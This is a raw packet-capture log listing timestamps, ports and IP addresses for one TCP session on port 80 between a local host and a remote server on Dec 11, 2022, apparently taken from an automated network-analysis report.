Dec 11, 2022 09:25:06.666970015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.666992903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.667022943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687015057 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687083006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687129021 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687155962 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687172890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687207937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687218904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687266111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687308073 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687309980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687354088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687395096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687400103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687438011 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687446117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687489986 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687532902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687535048 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687578917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687622070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687623978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687669039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687712908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687755108 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687756062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687799931 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687840939 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687843084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687885046 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.687886000 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687937975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687982082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.687984943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688025951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688069105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688076973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688112974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688155890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688168049 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688199043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688242912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688249111 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688287020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688332081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688373089 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688374996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688420057 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688462019 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688465118 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688504934 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688505888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688550949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688596010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688596010 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688626051 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688668966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688692093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688711882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688771009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688815117 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688823938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688853979 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.688858032 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688901901 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.688961983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689004898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689038038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689049959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689064026 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689094067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689136982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689172983 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689182997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689229965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689245939 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689274073 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689316988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689317942 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689362049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689404964 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689421892 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689450979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689481020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689490080 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689531088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689555883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689588070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689599037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689645052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689675093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689688921 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689733982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689740896 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689763069 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689805984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689841986 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689855099 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689879894 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.689904928 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.689961910 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690004110 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690042973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690051079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690093994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690099955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690138102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690192938 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690198898 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690237999 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690280914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690325022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690336943 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690367937 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690409899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690418005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690450907 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690464020 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690505981 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690546989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690574884 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690589905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690634012 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690638065 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690685987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690727949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690769911 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690771103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690815926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690844059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690860033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690901995 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.690933943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.690980911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.691025972 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.691031933 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711030006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711093903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711139917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711158991 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711184025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711195946 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711230040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711272001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711275101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711319923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711361885 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711363077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711407900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711452007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711492062 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711494923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711538076 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711577892 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711582899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711625099 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711667061 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711668015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711705923 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711714983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711759090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711801052 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711802959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711847067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711888075 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.711890936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711940050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.711982965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712023973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712025881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712073088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712112904 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712115049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712155104 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712157965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712203026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712244987 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712246895 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712291002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712333918 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712344885 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712399006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712471962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712515116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712519884 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712560892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712601900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712603092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712646961 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712649107 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712693930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712735891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712737083 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712784052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712814093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712826967 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712857962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712913036 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.712914944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712956905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.712999105 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713041067 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713043928 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713090897 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713134050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713135004 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713172913 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713179111 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713224888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713264942 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713269949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713315010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713356018 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713357925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713402033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713443995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713483095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713485956 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713529110 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713568926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713572025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713610888 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713617086 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713660002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713700056 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713701010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713746071 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713785887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713788033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713831902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713871002 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.713872910 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713918924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.713963032 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714004040 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714005947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714050055 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714088917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714092970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714137077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714138985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714179993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714221954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714242935 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714266062 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714310884 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714323044 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714354038 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714396000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714397907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714442015 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714490891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714519024 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714562893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714605093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714643955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714648962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714692116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714701891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714737892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714780092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714801073 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714822054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714893103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714907885 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714914083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.714957952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.714962959 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.715006113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.715049982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.715086937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.715090990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.715133905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.715151072 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.735343933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735404968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735454082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735492945 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.735496044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735532045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.735543013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735589027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735630989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.735634089 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.735666990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.735676050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.736140966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.736185074 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.736200094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.736231089 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.736269951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.736314058 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.980777025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.980865955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.462980986 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.464888096 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.467114925 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.483119965 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.483186007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.483222008 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.488049984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.732948065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.733477116 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.799424887 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.819804907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.819849968 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.819901943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.819931030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.819982052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820007086 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.820014954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820049047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820064068 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.820064068 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.820084095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820132971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820163012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.820169926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.820286036 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840403080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840466976 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840502977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840550900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840585947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840596914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840620041 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840647936 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840656996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840682983 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840692997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840727091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840771914 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840804100 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840805054 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840833902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:07.840848923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840893030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:07.840913057 CET	49692	80	192.168.2.3	131.188.40.189
